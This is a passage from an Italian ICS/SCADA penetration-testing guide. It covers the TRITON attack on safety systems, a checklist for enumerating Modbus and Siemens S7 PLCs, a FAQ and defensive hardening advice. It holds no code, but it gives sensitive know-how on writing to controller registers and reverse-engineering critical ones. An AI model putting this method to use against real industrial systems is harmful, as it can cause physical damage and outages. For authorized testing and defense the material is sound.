TRITON/TRISIS (2017, Arabia Saudita) #

Target: sistemi di safety Schneider Triconex (Safety Instrumented System). Malware modifica la logica safety per disabilitare gli emergency shutdown. Se il processo industriale va fuori controllo, il SIS non interviene → esplosione/incidente fisico.


16. Checklist Operativa #

  • Richiedi authorization scritta con scope preciso e safety officer presente
  • Setup lab parallelo (GRFICSv3 o Conpot) prima di toccare sistemi reali
  • Passive reconnaissance: GRASSMARLIN + Shodan (zero rumore)
  • Active scan low-and-slow: Nmap NSE -sT con rate limiting
  • Enumera Modbus slaves (modbuster/pymodbus) — solo read
  • Fingerprint S7 (python-snap7 get_cpu_info) — con test in lab prima
  • Lista Data Blocks e blocchi disponibili (non modificare)
  • Full upload logica PLC per analisi offline
  • Reverse engineering registri critici (test un registro alla volta)
  • Test scrittura solo su valori non critici (con restore immediato)
  • Documenta impatto fisico di ogni registro modificato
  • Valida CVE con IndustrialXPL-Forge (SafeMode prima)
  • Verifica livelli di protezione password (Siemens get_protection)
  • Test historian access (SQL, OSIsoft PI)
  • Report: mappa registri critici + raccomandazioni

17. FAQ #

D: Posso usare Metasploit normalmente su ICS? R: No. Metasploit è aggressivo e può crashare i PLC. Usa ISF o IndustrialXPL-Forge (SafeMode) oppure i moduli specifici ICS di Metasploit con molta cautela.

D: get_cpu_info() di python-snap7 è sicuro? R: No. Su alcuni S7-300 legacy causa crash immediato e richiede power cycle. Testalo sempre prima su Conpot o PLCSim Advanced.

D: Come testo senza rischiare downtime produzione? R: GRFICSv3 è il lab ideale — ha rete completa con PLC reali (OpenPLC) e simulazione 3D. Per Siemens: PLCSim Advanced simula S7-1200/1500 virtuale.

D: Modbus ha un modo per autenticarsi? R: No, nativamente. Modbus Security (RFC-based) esiste ma è rarissimo. Il 99% delle installazioni è plaintext senza auth.

D: Quale certificazione per ICS pentesting? R: GICSP (GIAC) è lo standard. CSSA (Claroty Certified), ICS/SCADA Security Professional (ISASAP). OffSec non ha ancora un corso dedicato ICS.


18. CTA #

Se gestisci infrastruttura OT/ICS:

  • Segmenta con Purdue Model — mai IT diretto su Level 1
  • Firewall unidirezionale (data diode) tra Level 2 e Level 3
  • Whitelist IP: solo engineering WS autorizzate possono scrivere sui PLC
  • Log Modbus/S7: ogni write → alert immediato
  • Password protection S7: abilita in TIA Portal (Protection Level 3)
  • OPC UA: Security Mode = Sign & Encrypt, no “None”
  • Historian monitoring: alert su DELETE o UPDATE di eventi recenti
  • Asset inventory aggiornato: ogni device OT documentato
  • Test autorizzato 2x/anno con lab parallelo

Risorse Esterne #

#ics-pentesting #scada-security #plc-exploitation #modbus-tcp #dnp3-protocol

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.